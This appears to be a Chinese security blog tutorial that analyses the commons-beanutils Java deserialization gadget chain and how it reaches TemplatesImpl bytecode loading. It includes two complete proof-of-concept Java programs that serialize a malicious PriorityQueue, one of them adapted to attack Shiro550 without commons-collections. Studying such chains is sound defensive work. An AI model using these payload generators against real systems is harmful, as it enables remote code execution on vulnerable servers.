获取中...

-

Just a minute...

依赖

jdk:jdk8u65

CB:commons-beanutils 1.8.3

在pom.xml里添加

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

CommonsBeanutils利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

比如:

1
2
3
4
5
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter。

因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。

commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到。

利用链分析

在前面的CC3链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce

1
2
3
4
5
6
7
TemplatesImpl:
getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader:
->defineClass()

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其TransformingComparator的compare方法,进而调用了transform链的调用。

而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用BeanComparator.compare() 方法时,其内部会调用我们前面说的 getProperty 函数,进而调用JavaBean中对应属性的 getter 函数。

我们看看BeanComparator.compare()方法:

image-20240424124417697

这里会调用PropertyUtils.getProperty()方法 。

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链。

那么往上找,哪里调用 compare()呢?

可以利用CC2/4链中的 PriorityQueue.readObject()


前面的CC2链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象

1
2
3
4
5
6
7
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象
setFieldValue(comparator,"property","outputProperties"); //property赋值为TemplatesImpl的 outputProperties属性来调用后面的TemplatesImpl的利用链。

然后结合一下CC3的TemplatesImpl的利用链。

所以整条CB链子的流程是这样的:

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
->BeanComparator.compare()
->PropertyUtils.getProperty()
TemplatesImpl类:
->getOutputProperties()
->newTransformer()
->getTransletInstance()
->defineTransletClasses()
TransletClassLoader类:
->defineClass()

完整CB链(with CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_with_CC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//CC3
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//CB
BeanComparator Beancomparator = new BeanComparator();

//CC2
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(Beancomparator,"property","outputProperties"); //property赋值为TemplatesImpl的outputProperties属性
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象

serialize(queue);
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { //反射修改属性值
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}

}

问题

如果直接使用上面的链子打Shiro550会报错:没找到org.apache.commons.collections.comparators.ComparableComparator

从包名即可看出,这个类是来自于commons-collections,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

那么有没有不需要依赖commons-collections的CB链呢?

答案是有的。

无CC依赖的Shiro反序列化利用链

看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了:

3010963-20221114181650982-311705810

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用 ComparableComparator

既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator接口

  • 实现java.io.Serializable接口

  • Java、shiro或commons-beanutils自带

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要利用反射,将对应的comparator写入属性中,就不需要依赖CC库了。

1
2
3
//下面这两个二选一都可以
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());

完整CB链(without CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_no_CC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator Beancomparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setFieldValue(Beancomparator,"property","outputProperties"); //property赋值为TemplatesImpl的outputProperties属性
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象
setFieldValue(Beancomparator, "comparator", String.CASE_INSENSITIVE_ORDER);
serialize(queue);
}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { //反射修改属性值
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}

}

参考链接:

Java反序列化Commons-Beanutils篇-CB链

CB利用链及无依赖打Shiro

commons-beanutils的三种利用原理构造与POC

相关文章
评论
分享
  • JAVA反序列化——CC7链及CC链总结

    跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。 这次是利用Hashtable.readObject方法,这个类是可以序列化的。 寻找在AbstractMap类里的equals方法调用了get方法: ...

    JAVA反序列化——CC7链及CC链总结
  • JAVA反序列化——CC5链

    CC5也是在CC1的路线上改了改入口类。 从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject 沿用CC1从LazyMap...

    JAVA反序列化——CC5链
  • JAVA反序列化——另一条CC1链

    之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform 而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransfor...

    JAVA反序列化——另一条CC1链
  • JAVA反序列化——CC2链

    详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。 123456CC4:Transformer[] tra...

    JAVA反序列化——CC2链
  • JAVA反序列化——CC4链

    新依赖: 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collec...

    JAVA反序列化——CC4链
  • JAVA反序列化——CC3链

    这条链是利用动态类加载来经行代码执行。 原理根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。 因为是动态类加载,我们...

    JAVA反序列化——CC3链
  • JAVA反序列化——CC6链

    CC6链其实就是URLDNS链的前半加上CC1链的后半。 链子构建入口类跟CC1链完全一致,这里不再赘述。 在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类...

    JAVA反序列化——CC6链
  • JAVA反序列化——CC1链

    前言CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。 cc1链要求java版本小于jdk8u71 我这里用的JDK版本是8u66 因为在高版本这条链子最后的annotationInvocat...

    JAVA反序列化——CC1链
  • java反序列化——URLDNS链

    原理:根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。 而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法: 而在这...

    java反序列化——URLDNS链
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解